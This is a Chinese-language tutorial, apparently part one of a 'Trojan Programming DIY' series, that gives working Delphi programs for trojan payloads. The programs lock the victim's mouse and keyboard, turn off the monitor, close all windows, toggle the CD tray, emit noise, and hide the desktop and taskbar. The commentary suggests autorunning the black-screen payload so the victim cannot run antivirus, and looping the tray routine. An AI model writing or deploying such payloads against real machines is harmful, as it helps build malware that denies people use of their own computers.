木马编程DIY (Delphi版) - 第1篇 功能实现
注:《木马编程DIY》由冷风(chinafe)创作完成。本文在其基础上将原文中的C++源代码修改为Delphi源代码,并加以相关说明。感谢冷风(chinafe)的无私奉献。
1. 锁定鼠标:
这个功能很简单只要一个ClipCursor()就可以搞定了。
program Project1; {$APPTYPE CONSOLE} uses Windows; var r0, r1: TRect; begin WriteLn('别害怕!15秒后你的鼠标就可以使用了! ^_^'); GetClipCursor(r0); //获取当前鼠标的活动范围 // 设置新的鼠标活动范围 r1.Left := 0; r1.Top := 0; r1.Right := 1; r1.Bottom := 1; ClipCursor(@r1); // 暂停15秒 Sleep(15000); // 回复原来的鼠标活动范围 ClipCursor(@r0); end.
2. 锁定键盘:
锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了。
program Project1; {$APPTYPE CONSOLE} uses Windows; // 处理按键消息的过程函数 function KeyHook(code: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; begin Result := 1; // 返回1可使键盘停止响应 end; var s: string; begin s := '程序将在15秒之后返回' + #13#10 + '嘿嘿15秒内你的键盘是无法工作的哦!'; WriteLn(s); // 安装键盘钩子 SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0); Sleep(15000); end.
因为是Console程序,所以随着程序的结束钩子也就OVER了,所以我并没有卸载钩子。
钩子果然是强大,学会使用钩子你的水平就不一般了^_^。
3. 关闭显视器:
这个也是相当简单的。
program Project1; {$APPTYPE CONSOLE} uses Windows, Messages; begin // 关闭显示器 SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2); Sleep(10000); // 打开显示器 SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, -1); end.
要是你够毒的话可以让它自动运行,开机就黑屏,任你杀毒水平再高,嘿嘿,没有显示器看你怎么杀……
4. 关闭所有窗口:
只需这一句就行了。
PostMessage(HWND_BROADCAST, WM_CLOSE, 0, 0);
5. 锁定光驱:
其实说让“光驱跳舞”更合适,以下的程序可以打开并关闭光驱。
program Project1; {$APPTYPE CONSOLE} uses MMSystem; begin // 打开 mciSendString('Set cdaudio door open wait', nil, 0, 0); // 关闭 mciSendString('Set cdaudio door closed wait', nil, 0, 0); end.
如果你弄个死循环,就可以让他的光驱好好活动活动了^_^
6. 制造噪音:
大多时候我们要隐藏自己,但有时候我们就需要给对方放点音乐,小小的“提示”一下,以证明我们的存在。
program Project1; {$APPTYPE CONSOLE} uses Windows; var i, j: Integer; begin for j := 450 to 499 do begin for i := 1000 to 1109 do begin Beep(i, 30); Sleep(100); end; end; end.
关键就是一个Beep(),第一个参数为赫兹第二个为音长你可以自己试一下,弄点好听的。
7.隐藏桌面:
其实桌面与任务栏也是一种窗口,我们可以通过FindWindow来查找它们的句柄,然后通过ShowWindow()来隐藏或显视,其中桌面类名为ProgMan,而任务栏类名为Shell_TrayWnd。
program Project1; {$APPTYPE CONSOLE} uses Windows; var DesktopHand, TrayWndHand: THandle; begin DesktopHand := FindWindow('ProgMan', nil); TrayWndHand := FindWindow('Shell_TrayWnd', nil); ShowWindow(TrayWndHand, SW_HIDE); // 隐藏任务栏 ShowWindow(DesktopHand, SW_HIDE); // 隐藏桌面 Write('15秒后会自动出现桌面 请等待'); Sleep(15000); ShowWindow(DesktopHand, SW_SHOW); // 显示桌面 ShowWindow(TrayWndHand, SW_SHOW); // 显示任务栏 end.